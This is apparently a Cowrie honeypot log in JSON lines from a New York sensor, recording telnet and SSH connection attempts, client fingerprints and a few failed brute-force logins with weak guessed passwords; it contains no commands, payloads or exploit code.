{"eventid":"cowrie.session.closed","duration":40.299169063568115,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:32.666154Z","src_ip":"64.227.101.30","session":"8cd8ee64a2df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53206,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6042e4988ef","protocol":"telnet","message":"New connection: 64.227.101.30:53206 (10.17.0.5:23) [session: c6042e4988ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:36.941333Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":43294,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dcbb07f961f","protocol":"telnet","message":"New connection: 68.183.198.12:43294 (159.203.135.109:23) [session: 3dcbb07f961f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:42.470890Z"}
{"eventid":"cowrie.session.closed","duration":33.77373170852661,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:43.248966Z","src_ip":"64.227.101.30","session":"3bbedd5d3bcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54870,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2a3d2604b93","protocol":"telnet","message":"New connection: 64.227.101.30:54870 (10.17.0.5:23) [session: a2a3d2604b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:44.505288Z"}
{"eventid":"cowrie.session.closed","duration":29.855868577957153,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:46.730796Z","src_ip":"64.227.101.30","session":"a53df96b61d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45376,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e1b668442f5","protocol":"telnet","message":"New connection: 68.183.198.12:45376 (159.203.135.109:23) [session: 9e1b668442f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:52.796740Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57346,"dst_ip":"10.17.0.5","dst_port":23,"session":"012adecfd093","protocol":"telnet","message":"New connection: 64.227.101.30:57346 (10.17.0.5:23) [session: 012adecfd093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:57.436105Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":52834,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffcc41caab1d","protocol":"ssh","message":"New connection: 78.40.217.56:52834 (10.17.0.5:22) [session: ffcc41caab1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:59.295277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:59.298906Z","src_ip":"78.40.217.56","session":"ffcc41caab1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:59.442677Z","src_ip":"78.40.217.56","session":"ffcc41caab1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"india","message":"login attempt [root/india] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:00.050889Z","src_ip":"78.40.217.56","session":"ffcc41caab1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:01.200620Z","src_ip":"78.40.217.56","session":"ffcc41caab1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.29539465904236,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:17.236629Z","src_ip":"64.227.101.30","session":"c6042e4988ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36448,"dst_ip":"10.17.0.5","dst_port":23,"session":"32319423a11f","protocol":"telnet","message":"New connection: 64.227.101.30:36448 (10.17.0.5:23) [session: 32319423a11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:21.088661Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37718,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c4a2d2e8a84","protocol":"telnet","message":"New connection: 64.227.101.30:37718 (10.17.0.5:23) [session: 6c4a2d2e8a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:23.752128Z"}
{"eventid":"cowrie.session.closed","duration":42.35545372962952,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:24.826238Z","src_ip":"68.183.198.12","session":"3dcbb07f961f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38062,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ecf50fe989b","protocol":"telnet","message":"New connection: 64.227.101.30:38062 (10.17.0.5:23) [session: 8ecf50fe989b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:25.891651Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac2a342bdbb0","protocol":"telnet","message":"New connection: 64.227.101.30:39436 (10.17.0.5:23) [session: ac2a342bdbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:29.930895Z"}
{"eventid":"cowrie.session.closed","duration":39.58448910713196,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:32.381108Z","src_ip":"68.183.198.12","session":"9e1b668442f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51718,"dst_ip":"159.203.135.109","dst_port":23,"session":"124093a00747","protocol":"telnet","message":"New connection: 68.183.198.12:51718 (159.203.135.109:23) [session: 124093a00747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:33.468492Z"}
{"eventid":"cowrie.session.closed","duration":39.88520073890686,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:37.321193Z","src_ip":"64.227.101.30","session":"012adecfd093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.35153532028198,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:44.856704Z","src_ip":"64.227.101.30","session":"a2a3d2604b93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":46878,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac999dbd99f","protocol":"ssh","message":"New connection: 78.40.217.56:46878 (10.17.0.5:22) [session: cac999dbd99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:53.122762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:53.127382Z","src_ip":"78.40.217.56","session":"cac999dbd99f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49062,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb81837261b2","protocol":"telnet","message":"New connection: 64.227.101.30:49062 (10.17.0.5:23) [session: eb81837261b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:53.199295Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:53.260020Z","src_ip":"78.40.217.56","session":"cac999dbd99f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49766,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a469c8a155f","protocol":"telnet","message":"New connection: 64.227.101.30:49766 (10.17.0.5:23) [session: 2a469c8a155f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:53.706800Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1@123","message":"login attempt [test1/test1@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:53.823579Z","src_ip":"78.40.217.56","session":"cac999dbd99f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:54.960119Z","src_ip":"78.40.217.56","session":"cac999dbd99f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48788,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb938eacbfb0","protocol":"telnet","message":"New connection: 64.227.101.30:48788 (10.17.0.5:23) [session: fb938eacbfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:55.619584Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38020,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa911e53580","protocol":"telnet","message":"New connection: 64.227.101.30:38020 (10.17.0.5:23) [session: efa911e53580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:37:56.363290Z"}
{"eventid":"cowrie.session.closed","duration":3.6955485343933105,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:00.058719Z","src_ip":"64.227.101.30","session":"efa911e53580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":56132,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea38c27d1d29","protocol":"telnet","message":"New connection: 68.183.198.12:56132 (159.203.135.109:23) [session: ea38c27d1d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:00.524044Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52992,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e59644c055","protocol":"telnet","message":"New connection: 64.227.101.30:52992 (10.17.0.5:23) [session: 96e59644c055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:01.219374Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40312,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bf93da2b013","protocol":"telnet","message":"New connection: 64.227.101.30:40312 (10.17.0.5:23) [session: 7bf93da2b013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:02.748309Z"}
{"eventid":"cowrie.session.closed","duration":39.518423557281494,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:03.270434Z","src_ip":"64.227.101.30","session":"6c4a2d2e8a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51374,"dst_ip":"10.17.0.5","dst_port":23,"session":"d772172e493e","protocol":"telnet","message":"New connection: 64.227.101.30:51374 (10.17.0.5:23) [session: d772172e493e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:04.045999Z"}
{"eventid":"cowrie.session.closed","duration":0.09571099281311035,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:04.141398Z","src_ip":"64.227.101.30","session":"d772172e493e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.74394488334656,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:04.832479Z","src_ip":"64.227.101.30","session":"32319423a11f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93260908126831,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:06.863405Z","src_ip":"64.227.101.30","session":"ac2a342bdbb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.398799657821655,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:06.867168Z","src_ip":"68.183.198.12","session":"124093a00747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57266,"dst_ip":"10.17.0.5","dst_port":23,"session":"64cf66490986","protocol":"telnet","message":"New connection: 64.227.101.30:57266 (10.17.0.5:23) [session: 64cf66490986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:08.420334Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58210,"dst_ip":"159.203.135.109","dst_port":23,"session":"0892cd732ea8","protocol":"telnet","message":"New connection: 68.183.198.12:58210 (159.203.135.109:23) [session: 0892cd732ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:13.726690Z"}
{"eventid":"cowrie.session.closed","duration":50.70120453834534,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:16.592726Z","src_ip":"64.227.101.30","session":"8ecf50fe989b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34490,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8f4b642953","protocol":"telnet","message":"New connection: 64.227.101.30:34490 (10.17.0.5:23) [session: 6d8f4b642953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:19.012076Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38044,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b4617b6f04","protocol":"telnet","message":"New connection: 64.227.101.30:38044 (10.17.0.5:23) [session: a5b4617b6f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:23.577928Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34790,"dst_ip":"10.17.0.5","dst_port":23,"session":"1261029d1b9b","protocol":"telnet","message":"New connection: 64.227.101.30:34790 (10.17.0.5:23) [session: 1261029d1b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:26.429644Z"}
{"eventid":"cowrie.session.closed","duration":0.004208803176879883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:26.433745Z","src_ip":"64.227.101.30","session":"1261029d1b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38864,"dst_ip":"10.17.0.5","dst_port":23,"session":"106e7bc6036a","protocol":"telnet","message":"New connection: 64.227.101.30:38864 (10.17.0.5:23) [session: 106e7bc6036a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:26.972648Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37719,"dst_ip":"10.17.0.5","dst_port":23,"session":"92f4e33bcddf","protocol":"telnet","message":"New connection: 64.227.101.30:37719 (10.17.0.5:23) [session: 92f4e33bcddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:27.171319Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39762,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3463e14ea3","protocol":"telnet","message":"New connection: 64.227.101.30:39762 (10.17.0.5:23) [session: 5e3463e14ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:28.483225Z"}
{"eventid":"cowrie.session.closed","duration":1.971606969833374,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:29.142827Z","src_ip":"64.227.101.30","session":"92f4e33bcddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40392,"dst_ip":"10.17.0.5","dst_port":23,"session":"361096ce5583","protocol":"telnet","message":"New connection: 64.227.101.30:40392 (10.17.0.5:23) [session: 361096ce5583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:34.763001Z"}
{"eventid":"cowrie.session.closed","duration":43.48945426940918,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:36.688647Z","src_ip":"64.227.101.30","session":"eb81837261b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.837552309036255,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:37.544198Z","src_ip":"64.227.101.30","session":"2a469c8a155f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f593be8c5f0","protocol":"telnet","message":"New connection: 64.227.101.30:45878 (10.17.0.5:23) [session: 5f593be8c5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:39.619496Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58508,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f2b9c439c2f","protocol":"telnet","message":"New connection: 64.227.101.30:58508 (10.17.0.5:23) [session: 6f2b9c439c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:40.598218Z"}
{"eventid":"cowrie.session.closed","duration":0.005303621292114258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:40.603367Z","src_ip":"64.227.101.30","session":"6f2b9c439c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.10109829902649,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:41.720547Z","src_ip":"64.227.101.30","session":"fb938eacbfb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.506203413009644,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:41.725437Z","src_ip":"64.227.101.30","session":"96e59644c055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":41478,"dst_ip":"10.17.0.5","dst_port":22,"session":"22d61e83d5b9","protocol":"ssh","message":"New connection: 78.40.217.56:41478 (10.17.0.5:22) [session: 22d61e83d5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:44.469736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:44.474567Z","src_ip":"78.40.217.56","session":"22d61e83d5b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:44.625797Z","src_ip":"78.40.217.56","session":"22d61e83d5b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.55296468734741,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:45.076860Z","src_ip":"68.183.198.12","session":"ea38c27d1d29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Z","message":"login attempt [root/123456Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:45.249400Z","src_ip":"78.40.217.56","session":"22d61e83d5b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:46.401174Z","src_ip":"78.40.217.56","session":"22d61e83d5b9","protocol":"ssh"}
